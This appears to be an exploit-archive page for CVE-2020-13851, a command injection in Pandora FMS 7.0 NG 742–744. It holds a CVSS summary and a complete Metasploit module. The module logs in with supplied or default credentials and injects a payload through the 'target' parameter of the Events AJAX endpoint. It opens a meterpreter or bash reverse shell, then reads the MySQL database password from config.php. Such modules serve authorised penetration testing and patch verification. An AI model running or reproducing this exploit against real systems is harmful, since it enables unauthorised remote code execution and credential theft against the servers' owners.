Pandora FMS 7.0 NG 7XX Remote Command Execution

2020.07.12
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Pandora FMS Events Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in the `Events` feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the `target` parameter in HTTP POST requests to the `Events` function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the `target` parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple `grep` command on the plaintext `/var/www/html/pandora_console/include/config.php` file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). }, 'License' => MSF_LICENSE, 'Author' => [ 'Fernando Catoira', # Discovery 'Julio Sanchez', # Discovery 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-13851'], # RCE via the `events` feature ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities'] ], 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-06-04', 'DefaultTarget' => 1 ) ) register_options [ OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora']) ] end def check vprint_status('Running check') res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php') unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>') return CheckCode::Safe('Target is not a Pandora FMS application.') end @cookie = res.get_cookies html = res.get_html_document full_version = html.at('div[@id="ver_num"]') if full_version.blank? return CheckCode::Detected('Could not determine the Pandora FMS version.') end full_version = full_version.text version = full_version[1..-1].sub('NG', '') if version.blank? return CheckCode::Detected('Could not determine the Pandora FMS version.') end version = Gem::Version.new version unless version <= Gem::Version.new('7.0.744') return CheckCode::Safe("Target is Pandora FMS version #{full_version}.") end CheckCode::Appears("Target is Pandora FMS version #{full_version}.") end def login(user, pass) vprint_status "Authenticating as #{user} ..." res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'cookie' => @cookie, 'vars_get' => { 'login' => '1' }, 'vars_post' => { 'nick' => user, 'pass' => pass, 'login_button' => 'Login' } }) unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>') fail_with Failure::NoAccess, 'Authentication failed' end print_good "Authenticated as user #{user}." end def on_new_session(client) super if target.arch.first == ARCH_CMD print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.') client.shell_write("grep dbpass include/config.php\n") else print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.') end end def execute_command(cmd, _opts = {}) print_status('Executing payload...') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax.php'), 'cookie' => @cookie, 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Referer' => full_uri('index.php'), 'vars_get' => { 'sec' => 'eventos', 'sec2' => 'operation/events/events' }, 'vars_post' => { 'page' => 'include/ajax/events', 'perform_event_response' => '10000000', 'target' => cmd.to_s, 'response_id' => '1' } }, 0) # the server will not send a response, so the module shouldn't wait for one end def exploit login(datastore['USERNAME'], datastore['PASSWORD']) if target.arch.first == ARCH_CMD execute_command payload.encoded else execute_cmdstager(background: true) end end end


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